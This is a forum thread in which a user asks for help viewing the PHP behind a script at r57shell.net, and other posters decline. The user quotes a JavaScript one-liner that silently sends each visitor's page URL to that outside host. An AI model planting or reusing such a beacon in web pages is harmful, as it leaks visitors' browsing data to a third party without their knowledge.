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    Exclamation White Pages php, I want to solve the problem Help

    Hello! friends, today I ran into a site, develop myself in the field of PHP and want to solve this problem. Please could you help please. My problem is as follows!

    http://r57shell.net/404/ittir.js

    And the code in front of me when I log in to the site

    a=new/**/Image();a.src='http://r57shell.net/yaz.php?a='+escape(location.href);

    Code:
    http://r57shell.net/yaz.php
    I want to see what's in this page Can you help me please! Thank you.

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    Huh? Have no idea what you said or what you are asking for help on.

    This is a help forum. You write some code and develop a problem. You show us where you think the problem is (in code) and let us debug it for you. That's how it works here.

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    Hi, I want to solve this white pages. In the white pages, routing. Txt extension code in there I'd like to solve. aim to solve.

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    Quote Originally Posted by jackwork View Post
    Hi, I want to solve this white pages. In the white pages, routing. Txt extension code in there I'd like to solve. aim to solve.
    http://r57shell.net/yaz.php

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    what are "white pages"? Something that you are getting from your code?

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    http://r57shell.net/404/ittir.js
    http://r57shell.net/yaz.php
    in yaz.php, secret codes available, but I do not see there is added as a different orientation. I want to see him

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    I think I've got it...

    A white page.. is a blank page with no code or viewable source, such as what is below, without the secret, hidden POST variable being submitted. Just a blank "white" page.

    PHP Code:
    <?php
    if (isset($_POST['muhahahahaha'])) {
     echo 
    'doing something odd...';
    }
    ?>
    I'm assuming he's trying to follow the source to find something?
    It seems to be a site on hacking, maybe it's some sort of hacking competition or...?

    Either way I don't think it's anything we can/will help him with much.

    Jack, if this is not a competition where there is sure to be some type of bug/flaw, there's really probably no way view the PHP code hidden behind the file. Part of the point of PHP code is that it's stored on the server and hidden, not shared with the public.

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